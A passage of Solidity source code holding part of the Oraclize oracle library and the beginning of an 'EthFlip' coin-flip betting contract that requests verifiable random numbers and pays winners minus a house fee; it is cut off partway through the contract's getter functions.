if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal pure returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal pure returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal pure returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal pure returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal pure returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal pure returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
function stra2cbor(string[] arr) internal pure returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
function ba2cbor(bytes[] arr) internal pure returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal view returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
require((_nbytes > 0) && (_nbytes <= 32));
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes[3] memory args = [unonce, nbytes, sessionKeyHash];
bytes32 queryId = oraclize_query(_delay, "random", args, _customGasLimit);
oraclize_randomDS_setCommitment(queryId, keccak256(bytes8(_delay), args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(keccak256(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(keccak256(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = byte(1);
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1));
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
require(proofVerified);
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){
bool match_ = true;
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(keccak256(keyhash) == keccak256(sha256(context_name, queryId)))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == keccak256(commitmentSlice1, sessionPubkeyHash)){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) {
uint minLength = length + toOffset;
require(to.length >= minLength);
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
}
contract EthFlip is usingOraclize {
struct Bet {
bool win;
uint betValue;
uint timestamp;
address playerAddress;
}
struct QueryMap {
uint betValue;
address playerAddress;
}
bool private gamePaused;
uint private minBet;
uint private maxBet;
uint private houseFee;
uint private oraclizeGas;
uint private oraclizeGasPrice;
address private owner;
uint private currentQueryId;
uint private currentBetNumber;
uint private totalPayouts;
uint private totalWins;
uint private totalLosses;
bool private win;
uint private randomNumber;
mapping (uint => Bet) private pastBets;
mapping (uint => QueryMap) private queryIdMap;
event BetComplete(bool _win, uint _betNumber, uint _betValue, uint _timestamp, address _playerAddress);
event GameStatusUpdate(bool _paused);
event MinBetUpdate(uint _newMin);
event MaxBetUpdate(uint _newMax);
event HouseFeeUpdate(uint _newFee);
event OwnerUpdate(address _newOwner);
modifier gameIsActive {
require(!gamePaused);
_;
}
modifier gameIsNotActive {
require(gamePaused);
_;
}
modifier senderIsOwner {
require(msg.sender == owner);
_;
}
modifier senderIsOraclize {
require(msg.sender == oraclize_cbAddress());
_;
}
modifier sentEnoughForBet {
require(msg.value >= minBet);
_;
}
modifier didNotSendOverMaxBet {
require(msg.value <= maxBet);
_;
}
function EthFlip() public {
minBet = 100000000000000000;
maxBet = 500000000000000000;
houseFee = 29;
oraclizeGas = 500001;
oraclizeGasPrice = 3010000000;
oraclize_setCustomGasPrice(oraclizeGasPrice);
oraclize_setProof(proofType_Ledger);
owner = msg.sender;
}
function() public payable {}
function placeBet() public payable gameIsActive sentEnoughForBet didNotSendOverMaxBet {
secureGenerateNumber(msg.sender, msg.value);
}
function secureGenerateNumber(address _playerAddress, uint _betValue) private {
bytes32 queryId = oraclize_newRandomDSQuery(0, 2, oraclizeGas);
uint convertedId = uint(keccak256(queryId));
queryIdMap[convertedId].betValue = _betValue;
queryIdMap[convertedId].playerAddress = _playerAddress;
}
function checkIfWon() private {
if (randomNumber <= 50) {
win = true;
sendPayout(subtractHouseFee(queryIdMap[currentQueryId].betValue*2));
} else {
win = false;
}
logBet();
}
function sendPayout(uint _amountToPayout) private {
uint payout = _amountToPayout;
_amountToPayout = 0;
queryIdMap[currentQueryId].playerAddress.transfer(payout);
}
function subtractHouseFee(uint _amount) private returns (uint _result) {
return (_amount*(1000-houseFee))/1000;
}
function logBet() private {
currentBetNumber++;
if (win) {
totalWins++;
totalPayouts += queryIdMap[currentQueryId].betValue;
} else {
totalLosses++;
}
pastBets[currentBetNumber] = Bet({win:win, betValue:queryIdMap[currentQueryId].betValue, timestamp:block.timestamp, playerAddress:queryIdMap[currentQueryId].playerAddress});
BetComplete(win, currentBetNumber, queryIdMap[currentQueryId].betValue, block.timestamp, queryIdMap[currentQueryId].playerAddress);
}
function getLastBetNumber() constant public returns (uint) {
return currentBetNumber;
}
function getTotalPayouts() constant public returns (uint) {
return totalPayouts;
}
function getTotalWins() constant public returns (uint) {
return totalWins;
}
function getTotalLosses() constant public returns (uint) {
return totalLosses;
}
function getBalance() constant public returns (uint) {
return this.balance;
}
function getGamePaused() constant public returns (bool) {
return gamePaused;
}
function getMinBet() constant public returns (uint) {
return minBet;
}
function getMaxBet() constant public returns (uint) {
return maxBet;
}
function getHouseFee() constant public returns (uint) {
return houseFee;
}
function getOraclizeGas() constant public returns (uint) {
